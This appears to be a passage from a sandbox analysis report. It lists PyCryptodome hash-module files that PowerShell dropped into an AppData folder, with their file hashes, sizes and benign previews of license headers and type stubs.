              SHA-512:762332FFC8A79CEFABE74934DEBC2F101EB2BF66584765D21B8A3E21D0483F3AD2A18D60337573121A048588375D225A07F2698616B8227EDFF20FC95528A441
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class MD5Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> MD5Hash: ..... def new(self, data: Buffer = ...) -> MD5Hash: .......def new(data: Buffer = ...) -> MD5Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\Poly1305.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8291
              Entropy (8bit):4.581460307129591
              Encrypted:false
              SSDEEP:
              MD5:041E76ED0853FC3D34926662B89C7EC9
              SHA1:C96F71E6A2A302C9A275F88FB524767D3953004C
              SHA-256:F837E4153ED4E178F518F71A87315C172C3B60CB4F132A6F19F68AF9BCA336F7
              SHA-512:9C6DF959510E2D2ABA4A9808E62288A74FE225911AFD854B85A8345A25131F352504F9176E3F290FC99A61B04E21A1C08531FF45D8CD3D348DEF74E70458B0D3
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Hash/Poly1305.py - Implements the Poly1305 MAC..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\Poly1305.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):689
              Entropy (8bit):4.617411626220112
              Encrypted:false
              SSDEEP:
              MD5:75346EDCB93D820A434DB03BE87622A5
              SHA1:47369DC52B3FAD5BF609908FB1AEACE8D87E2E01
              SHA-256:7DA8B1DB291F97F8751EBE26AAFB6663571467C4A13827F8114895990E3DD81A
              SHA-512:0F1CA6D6FCC2176B6F8FC7849CF5E14C77109CD92C690B81EC796F204ACADF69F3AD444F674EC3D751CAB4A959232F2BAF6D5E65D4BB174B1C5115A8EF413E1B
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class Poly1305_MAC(object):.. block_size: int.. digest_size: int.. oid: str.... def __init__(self,.. r : int,.. s : int,.. data : Buffer) -> None: ..... def update(self, data: Buffer) -> Poly1305_MAC: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None: .......def new(key: Buffer,.. cipher: ModuleType,.. nonce: Buffer = ...,.. data: Buffer = ...) -> Poly1305_MAC: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\RIPEMD.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1225
              Entropy (8bit):5.174131605423868
              Encrypted:false
              SSDEEP:
              MD5:CB30EA21F8B046CCE596D4E9D85D2C36
              SHA1:39A1CFA3C5664E638359F8EBB44CC8BE70D96125
              SHA-256:E811E75C7B6A01CDFAF40C3EF330BDAF01EDD45AAF449396A669EB1FF78C8CC6
              SHA-512:9DF776A64BE9A1C0405C29C3B5E41295EF558741F9695B6C968ECE87354099F12B490A1B125D0CF778992404F92ECF3C3DEFD854E9DB4C6B31B13C1B4ADEA5D9
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\RIPEMD.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):97
              Entropy (8bit):4.494398793678958
              Encrypted:false
              SSDEEP:
              MD5:37FCCB2128F28CB860905F19A5DE5664
              SHA1:E195627D9120B8DF358962BFE57EB1AF121510A7
              SHA-256:4E4A85E6BC544386180FAAB57B719D40C8B07D04FF1AD0A222AEDEFD81A29DD4
              SHA-512:A33C96C3A508D2C288E34036AD8F5748BC8993BC08D33785E554553E99A7E4818F853593E8D6695F4BA936B528748E96BF2969B616302F3B6AB4DBF7B08EBE6E
              Malicious:false
              Reputation:unknown
              Preview:# This file exists for backward compatibility with old code that refers to..# Crypto.Hash.SHA....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\RIPEMD160.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6567
              Entropy (8bit):4.770780657565152
              Encrypted:false
              SSDEEP:
              MD5:294D8E4BD1689A8559B935B6D234F5F1
              SHA1:23F0157DBFF6D5A4339E66FA0526C38CF3C91CB0
              SHA-256:CBCCB75E5F0647E5C18B743266D00300EEA5D15D164E3008ACBD934894A4AB43
              SHA-512:2D39E18D2C36E72B0CF236E7FFA0C37857B5EB5304CD96CFCBD214B5CA676AFA4A0C377C80C028163FAF53E9D7400E3598F4BD21C36DDD95AEE42A22BE657710
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\RIPEMD160.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):535
              Entropy (8bit):4.931502616073856
              Encrypted:false
              SSDEEP:
              MD5:A9429F32C25E1E86987C94D3EE514342
              SHA1:176B307242F24A7BFF87D2A74EE609324AD26550
              SHA-256:84F643A25DF20E6A761AD4E1ECDC6F04493DB5CCAF6108254B944A31662A00E7
              SHA-512:2A7910E7C1091CC7F9F1D4993EF594F77B2E29841A2B64A702A53BFF6C7231B1224A63A9FC979117614547F699A0EA7864A5C622B083617A1AF316CD51AB1B79
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union....Buffer = Union[bytes, bytearray, memoryview]....class RIPEMD160Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Buffer = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> RIPEMD160Hash: ..... def new(self, data: Buffer = ...) -> RIPEMD160Hash: .......def new(data: Buffer = ...) -> RIPEMD160Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1172
              Entropy (8bit):5.117383873972604
              Encrypted:false
              SSDEEP:
              MD5:6C017EB81EF21818A9368CCC5143F50B
              SHA1:1D1229CDE4338C4BA3F969AF90700FC8960BBF08
              SHA-256:C86BAD9D4AFFEAC58CE3884195E177E1418721C8E3B70684ACDDC36E74BC943F
              SHA-512:5BF8D63655B09CAE49255FBCBAB152CAC1FF5E14FE5BAE2AA4221E6618E911FA0D5193743C82BB66473699D59974B9CE1633CA0DE68495B9CDF63FB947D2AD7F
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):165
              Entropy (8bit):4.73872569825065
              Encrypted:false
              SSDEEP:
              MD5:0DE894DECF1A876B03938929070F04E5
              SHA1:DCB783EF505138E743F04546FD5A2D6C6A4840FB
              SHA-256:0AEA71662B258A56912F1274D95677A727F619A48604D1B1B991891F22ED047D
              SHA-512:B2468F52C9C79C44A5BB9CC002E9318FA7C18B60918A85797C21E1A925A23070262A892D864CD1A66F4C14646AC38B8142F2F578D869F453060F58F41C663652
              Malicious:false
              Reputation:unknown
              Preview:# This file exists for backward compatibility with old code that refers to..# Crypto.Hash.SHA....from Crypto.Hash.SHA1 import __doc__, new, block_size, digest_size..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6875
              Entropy (8bit):4.5821494704539845
              Encrypted:false
              SSDEEP:
              MD5:ADA65380EE21DCC4351BBF2883F9B8FE
              SHA1:F1C8A946C677B83B30B5FAADAE98C8EF30BA2A22
              SHA-256:6C3CE9B0E7B65218814CEB19987644C776D4C36495C2875470FC94149A8A0015
              SHA-512:505E499F9D590814F2EED4384D38708D373EC7C5E8132D20A16FCFA84F056F2181FFF8AE044E73B21C9F4646F5CF0CA2D012F39E342F2763C2ECCF7CD7E5FCF8
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA1.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):555
              Entropy (8bit):4.858937300843863
              Encrypted:false
              SSDEEP:
              MD5:B35CDD0C45717949B3D05F871CE86E01
              SHA1:937CCC519B51BC2AA994CB9F8BD21AAD37865B74
              SHA-256:4FC9652243B1B4A443C08C6B22F5C5343C63453405A13FBE9CC9DD12DE6951EA
              SHA-512:92E8217DD0C0FA48A33EC261921B5BB6EB385AE47271F2E2E447EFD29279FEE668ECD3A8E910AF34C062CB6CC7CAFE836525CBD93194335F3996FCF78397F69F
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA1Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA1Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA1Hash: .......def new(data: Optional[Buffer] = ...) -> SHA1Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA224.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7087
              Entropy (8bit):4.539811851927445
              Encrypted:false
              SSDEEP:
              MD5:DA93616992C4934DB1A0D8073472F425
              SHA1:9F9D2B184F043FF932BFDDB3E21B647BB5C67FB7
              SHA-256:D872AF137DA84299B930FBFD1FC433FC86E0B38E0046E3D5F981F7EED9BB8CB8
              SHA-512:3B1554F21F095128B5C937E154DC2614DDEFF3F59654AE3B676199A36C4E74BF173E997F5196A94670BF6AF94B10CBB42AE71D92B722005FC7436B159B2CCEDB
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA224.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):563
              Entropy (8bit):4.8974516866478135
              Encrypted:false
              SSDEEP:
              MD5:F91615062C7CF8B106319B16A210EDD1
              SHA1:6BB2CC5E2BB4140E17A3CB821E84FD8408798AEF
              SHA-256:A3FBCEE498C3C4CADC8D5136ACED4C69DE9B941802AEA4AEF8C6B272DF1E054A
              SHA-512:305B86FDCA88498DC390D013DF6F8ECE0D47A3E79C7E2855D282A8DDE865EE0914643960F04082D52B906EC5DC0603B5403316D87A03A0E0F89178D8D6108497
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA224Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA224Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA224Hash: .......def new(data: Optional[Buffer] = ...) -> SHA224Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7082
              Entropy (8bit):4.551051071355653
              Encrypted:false
              SSDEEP:
              MD5:3AE05618B8FF7C9E5CB142C185620CD7
              SHA1:7568E53C598F80B07FCC378D6BB67B92A1285E1D
              SHA-256:DA3433ADAEBE699670076ABB87B264F30B568692279E535240EE76D65A33A4B9
              SHA-512:FADB71B017E324ECBD1D35BB1E39B0AD017BF3A965AFDA783EC719BB877EC64CC4458209F819C9CD07B3FAF9CD1437F55648BF1D6F74EE883AA74185108E50D9
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):630
              Entropy (8bit):4.955837939042722
              Encrypted:false
              SSDEEP:
              MD5:5630B6D27721452497E9BEE7183E9925
              SHA1:ACF9207E410A212984F867D9B1FEEEEEDA3C6B86
              SHA-256:07892D70C0FA32A19DDA232203BD7FF0D25B19F30E599924836A8D4BB6161A71
              SHA-512:1DC45AFC8773B4D797246C6972D9EFD60514C95F8C7AC19FA85D72493E7B92DE2475A2CD0AF5E11152B129E7B6904AC5DD88B378DA9D17749B2C0FD85C9A541D
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional......class SHA256Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Union[bytes, bytearray, memoryview]]=None) -> None: ..... def update(self, data: Union[bytes, bytearray, memoryview]) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA256Hash: ..... def new(self, data: Optional[Union[bytes, bytearray, memoryview]]=None) -> SHA256Hash: .......def new(data: Optional[Union[bytes, bytearray, memoryview]]=None) -> SHA256Hash: .......digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA384.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7085
              Entropy (8bit):4.550445959384944
              Encrypted:false
              SSDEEP:
              MD5:430024F4F59A49D48670405B3872A139
              SHA1:38B2F9BFDA9D28D665317305B6A9A5CE61245EF0
              SHA-256:C9264E99E50F4D958A133F2DD00B90384767753A0BC0C8345BEBA0B22CD46FF0
              SHA-512:22268CB2CBA27B1144D7F1A3D20ACAB0B9EE91E23E94618EF615E042EEFD672FD9E261BA1C9EB78FE5576D80D075093178F1AD38BB5947CD1A8603F67F67224F
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA384.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):563
              Entropy (8bit):4.911661278122058
              Encrypted:false
              SSDEEP:
              MD5:33C3A44EFBCBD9A7B7DB7C3E4FA0CF28
              SHA1:FCFEFCF1D7DAFBF71741A52550364BDF4813E021
              SHA-256:102F8DCEC4B3E3E3E019F6CE2B165C0FDDC41B70EB2E3169270BE35F227F2D5F
              SHA-512:A119DC31EADE919C8572205CB2E9865D8C305AFB21CE5A4189885524A82E7086CA1B86103EBCC36398A63FC89D750C3918CDDC18DFB3B9F0DDF6824AACDBBEF8
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA384Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self, data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA384Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA384Hash: .......def new(data: Optional[Buffer] = ...) -> SHA384Hash: .....digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_224.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6353
              Entropy (8bit):4.672672499210179
              Encrypted:false
              SSDEEP:
              MD5:9043AD3C12487A14FB6439D47EA865E7
              SHA1:11B5DECAE966B2517EF1EFAC5868CC00C6029EEB
              SHA-256:26CA1C9F197F6B87E4F727A612CEDA108D0A9C56D101EFB51BC9295270DFA16C
              SHA-512:F9A84C204734A7E38C14A8F371A358A8B04CB23E72376B54A77143B80E4C9B41914CE41D1D68C1D0BE70FDB5DE7F11BC7C4640E3B1EBBB5A23DEDF0EE4B772BF
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_224.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):624
              Entropy (8bit):4.938042917334959
              Encrypted:false
              SSDEEP:
              MD5:AC7852028AC4AED442E756540D27AA6A
              SHA1:1281E2F19BCC6041AB8D5E6AE8D6CB75CC408231
              SHA-256:AB9ABF3623247F77FDE55038C8531FF4C22E70532CDEF140FA9F0B645A15AC36
              SHA-512:DAE8FFCBE304DA6899DF030BA7444F3C87454BFAF774D595BCACDF6B038C8EEAD490D1DA5F7E36735F70EC9612F43F0C3ECE0FE95341F96FB72E0E433D0E4F83
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_224_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_224_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_224_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_224_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_224_Hash: .......digest_size: int..block_size: int..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_256.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6353
              Entropy (8bit):4.6762672347190115
              Encrypted:false
              SSDEEP:
              MD5:0868D205D448B5B2B767719C736C05E1
              SHA1:8EA67599F4CA177A9DFB7779A0702D7BEF755966
              SHA-256:5F7BCA81167FE52F31335BB83CC924990DAE60A7AED2552C248F20F911C234C6
              SHA-512:679B4A54236FE8E3EB6176FF8D13FFD61380D4AB34E77CD0429E51E26EC8AD4F004FA4A987F76B98FEB8CABC8ABFF232C6B04F2647F0F31C91289E421C2EC074
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\SHA3_256.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):624
              Entropy (8bit):4.9540685583606
              Encrypted:false
              SSDEEP:
              MD5:7B1F16C4E7038211DB89A5FA930FA0EE
